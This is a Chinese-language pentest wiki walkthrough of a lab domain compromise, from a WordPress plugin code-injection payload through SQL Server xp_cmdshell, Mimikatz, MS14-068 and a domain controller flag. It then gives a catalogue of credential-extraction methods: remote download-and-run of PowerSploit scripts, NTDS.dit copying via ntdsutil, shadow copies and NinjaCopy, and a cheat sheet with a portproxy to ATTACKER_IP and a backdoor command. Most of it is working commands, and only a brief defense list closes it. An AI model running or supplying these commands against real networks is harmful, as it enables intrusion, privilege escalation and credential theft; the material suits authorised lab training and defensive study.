Pentest Wiki Part4 后渗透(二)
字数 1651 2025-08-29 08:32:00
Windows Active Directory 渗透测试指南
1. 目标描述
目标是从 Windows 域控制器(DC)的 C:\file.sys 文件中读取 Flag。目标网络包含以下主机:
- http://10.1.222.203 (起点)
- 10.1.222.200
- 10.1.222.201
- 10.1.222.202 (Windows DC)
2. 攻击路径
攻击路径如下:
10.1.222.203 → 10.1.222.200 → 10.1.222.201 → 10.1.222.202
3. 详细攻击步骤
3.1 攻击 10.1.222.203 (WordPress)
-
识别漏洞:
- 使用 WPScan 扫描 WordPress 站点
- 发现 CM Download Manager 插件存在代码注入漏洞 (CVE-2014-8877)
-
利用代码注入漏洞:
http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(scandir('.'))." http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(file_get_contents('wp-config.php'))." -
获取数据库凭据:
- 从 wp-config.php 中提取:
- DB_HOST: 10.1.222.200
- DB_USER: root
- DB_PASSWORD: Xd1moYqFr
- 从 wp-config.php 中提取:
3.2 攻击 10.1.222.200 (SQL Server)
-
端口扫描:
- 发现 1433 (SQL Server) 端口开放
-
连接 SQL Server:
- 使用 sa/Xd1moYqFr 成功登录
-
启用 xp_cmdshell:
EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE -
执行系统命令:
EXEC xp_cmdshell 'whoami' # 确认权限为 NT AUTHORITY\SYSTEM EXEC xp_cmdshell 'wmic useraccount get name,sid' # 查看用户 EXEC xp_cmdshell 'net user hacker Password123 /add' # 添加用户 EXEC xp_cmdshell 'net localgroup administrators hacker /add' # 提升为管理员 -
使用 Mimikatz 提取凭据:
privilege::debug sekurlsa::logonpasswords- 获取管理员密码: 6GbA6Crdw
3.3 攻击 10.1.222.201
-
使用获取的凭据登录:
- 用户名: Administrator
- 密码: 6GbA6Crdw
-
发现 MS14-068 漏洞利用条件:
- 域: PENTEST.COM
- 用户: master
- SID: S-1-5-21-30580861-1793299886-3410204933-1008
-
使用 PyKEK 利用 MS14-068:
python ms14-068.py -u master@PENTEST.COM -s S-1-5-21-30580861-1793299886-3410204933-1008 -d DC.PENTEST.COM- 输入密码后生成 TGT 票据
-
导入票据:
mimikatz # kerberos::ptc TGT_master@PENTEST.COM.ccache -
验证域管理员权限:
net user /domain net group "DOMAIN ADMINS" /domain
3.4 攻击 10.1.222.202 (Windows DC)
-
访问域控制器:
net use \\DC.PENTEST.COM\ipc$ dir \\DC.PENTEST.COM\c$ -
读取 Flag 文件:
type k:\file.sys- 获取 Flag: 4b329655c2275d7c956083dc899b1c89
-
添加域管理员:
net user demo pasPAS1234~ /add /domain net group "DOMAIN ADMINS" demo /add /domain
4. 高级技术详解
4.1 从域控制器提取凭据的方法
方法1:SYSVOL 和组策略首选项(GPP)中的密码
-
搜索包含密码的 XML 文件:
\\SYSVOL<DOMAIN>\Policies\查找 groups.xml, scheduledtasks.xml, Services.xml 等文件
-
解密 cpassword 值:
- 使用 gpp_password_decrypt.py 或 PowerShell:
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1") Get-GPPPassword
方法2:使用 Mimikatz 提取 LSASS 内存
-
直接提取:
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1") Invoke-Mimikatz -
从内存转储提取:
- 使用任务管理器转储 LSASS 进程内存
- 使用 Mimikatz 分析:
sekurlsa::minidump C:\path\to\lsass.DMP sekurlsa::logonpasswords
方法3:使用 NTDSUtil 提取 NTDS.dit
-
创建 IFM 集:
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q -
提取哈希:
- 使用 secretsdump.py:
secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit LOCAL
方法4:使用 VSS 卷影副本
-
创建卷影副本:
vssadmin Create Shadow /for=C: -
复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\ -
删除卷影副本:
vssadmin Delete Shadows /For=C:
方法5:使用 NinjaCopy
Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName DC -localDestination "C:\temp\NTDS.dit"
5. 常用 Windows AD 命令参考
网络和域信息
net view /domain
net view /domain:DOMAINNAME
net time /domain
net config
用户和组管理
net user /domain
net localgroup administrators
net group /domain
net group "Domain Admins" /domain
wmic useraccount list full
系统信息
systeminfo
wmic qfe get hotfixid
wmic bios
ipconfig /all
netstat -ano
tasklist /v
防火墙和网络
netsh firewall show config
netsh int portproxy v4tov4 listenport=80 connecthost=ATTACKER_IP connectport=80
route print
arp -a
其他有用命令
FOR /F %f in ('dir /b /s C:\') do find /I "password" %f
gpresult /Z
bitsadmin /create backdoor
6. 防御建议
- 及时修补 MS14-068 等已知漏洞
- 禁用或限制 xp_cmdshell 等危险 SQL 功能
- 监控异常账户创建和权限提升
- 保护 SYSVOL 共享,删除包含密码的 GPP 文件
- 限制域管理员账户的使用范围
- 启用 LSASS 保护机制
- 监控 NTDS.dit 文件的异常访问
- 实施严格的密码策略和定期轮换
通过以上步骤和技术,攻击者可以逐步提升权限,最终获取域控制器的完全控制权。防御方应全面了解这些攻击技术,才能有效保护 Active Directory 环境的安全。